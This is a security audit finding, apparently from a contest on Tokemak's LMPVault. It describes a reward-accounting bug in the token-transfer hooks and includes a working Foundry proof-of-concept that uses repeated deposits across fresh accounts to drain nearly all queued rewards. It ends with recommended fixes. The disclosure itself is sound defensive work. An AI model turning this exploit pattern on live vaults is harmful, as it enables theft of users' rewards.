Wonderful Sage Goldfish

high

# Wrong procedure of minting & staking in lmpVault leads to theft of all rewards
## Summary
LmpVault has '\_beforeTokenTransfer' and '\_afterTokenTransfer' hooks before token transfer withdraws stake and \_afterTokenTransfer does the staking. So abstractRewarder's \_updateReward(account) function is called after the balance of the account has already increased. Which leads to overestimation of rewards in earned() function which relies of balanceOf(account)

## Vulnerability Detail

POC-
1. There are 1000 ethers in a vault, and 10 rewards are queued in block 50.
2. Now in the next block(51) after queuing of rewards alice deposits some xyz amount of ether in it lets say 10 ether(maybe a flashloan)
3. Now lets walkthrough how the deposit transaction traverses through the contracts
	a.\_beforeTokenTransfer does no state changes as from = address(0) while minting
	b. now shares are minted lets say 10* 1e18.
	c.\_afterTokenTransfer calls rewarder.stake(alice,10 ether)
	d. In mainRewarder \_updateReward(alice) is called where
```solidity
        if (account != address(0)) {
            earnedRewards = earned(account);
            rewards[account] = earnedRewards;
            userRewardPerTokenPaid[account] = rewardPerTokenStored;
        }
```
  e. earnedRewards = earned(account) but in earned(account)
```solidity
    function earned(address account) public view returns (uint256) {
        return (balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18) + rewards[account];
    }
``` 
  f. ^ here balanceOf(account)  = 10ether, userRewardPerTokenPaid\[alice] = 0 <                  rewardPerToken().  Making the earned(alice) != 0. But it should be 0 as alice has just staked and not even a single block has passed.

4. Weaponising this alice creates a malicious contract which does the following 
	a. take a loan in the callback deposit in vault, call getRewards() then call withdraw.
	b. now send the withdrawn amount to a new babyContract which does the same steps in step (a). Do this in a for loop and get all the rewards transferred over to her account by babyContracts and repay the loan. 

Attaching a working poc, add it to LMPVault-Withdraw.t.sol file under the LMPVaultMintingTests contract.

```solidity
function test_stealing_rewards() public {
    uint256 rewardAmt = 10 ether;
    uint256 otherDeposits = 1000 ether;
    _asset.mint(address(this), otherDeposits);
    _asset.approve(address(_lmpVault), otherDeposits);
    assertEq(_lmpVault.balanceOf(address(this)), 0);
    assertEq(_lmpVault.rewarder().balanceOf(address(this)), 0);
    _lmpVault.deposit(otherDeposits, address(this));
    // queuing rewards

    _accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
    _lmpVault.rewarder().addToWhitelist(address(this));
    _toke.mint(address(this), rewardAmt);
    _toke.approve(address(_lmpVault.rewarder()), rewardAmt);
    _lmpVault.rewarder().queueNewRewards(rewardAmt);

    // roooolllingnggn;

    vm.roll(block.number + 1);
    // genrealizing it
    // instead of seed, on mainnet, attacker will deploy new contracts
    // and conduct the attack through them
    uint160 seed = 1000;
    address aliceSeed = address(seed);
    //taking a reasonable loan,to avoid hitting deposit limits(if applicable)
    _asset.mint(aliceSeed, 10 ether);
    vm.startPrank(aliceSeed);
    _asset.approve(address(_lmpVault), 10 ether);
    uint256 shareBal = _lmpVault.deposit(10 ether, aliceSeed);
    vm.stopPrank();
    assertGt(_lmpVault.rewarder().earned(aliceSeed), 0); ///@audit alice just staked, her earned should be 0
    // but it is > 0 so alice can get her rewards instantly
    // weaponizing this she stakes and collects her rewards instantly in the same tx
    // and she does that via multiple accounts
    while (_toke.balanceOf(address(_lmpVault.rewarder())) > 0.01 ether) {
        address _aliceSeed = address(seed);
        address aliceNext = address(seed + 1);
        vm.startPrank(_aliceSeed);
        _lmpVault.rewarder().getReward();
        _lmpVault.transfer(aliceNext, _lmpVault.balanceOf(_aliceSeed));
        _toke.transfer(aliceSeed, _toke.balanceOf(_aliceSeed));
        vm.stopPrank();
        seed++;
    }

    vm.startPrank(address(seed));
    _lmpVault.withdraw(10 ether, aliceSeed, address(seed));
    vm.stopPrank();

    // repaying the loan (burnign)

    vm.startPrank(aliceSeed);
    _asset.burn(aliceSeed, 10 ether);
    vm.stopPrank();

    // alice will have most of the reward
    // alice's profit

    uint256 aliceSeedBal = _toke.balanceOf(aliceSeed);
    emit log_named_decimal_uint("alice Balance of Toke", aliceSeedBal, 18);
}
```
run it using 
```solidity
forge test --match-path ./test/vault/LMPVault-Withdraw.t.sol --match-test test_stealing_rewards -vv
```

Logs:
  alice Balance of Toke: 9.990099009900989100
  
## Impact
Theft of rewards

## Code Snippet
[tokenTransferHooks](https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L834-L865)

[mainRewarder's stake function](https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/rewarders/MainRewarder.sol#L86-L93)

[\_updateReward](https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L128-L140)

[earned](https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L204-L206)
## Tool used

Manual Review

## Recommendation
The rewarders are inspired from synthetix, synthetix rewarder is immune to this bug because it has an internal \_balance mapping & a totalSupply variable.There could be 2 potential fixes-
1. While minting new shares in lmpVault, call mainRewarder.stake() in \_beforeTokenTransfer hook (a quick fix)
2. Implement a \_balance array like synthetix the rewarder will still need not hold funds but just keep track of balances in its own mapping instead of querying from lmpVault and reaching a vulnerable state.(a more robust but costly fix)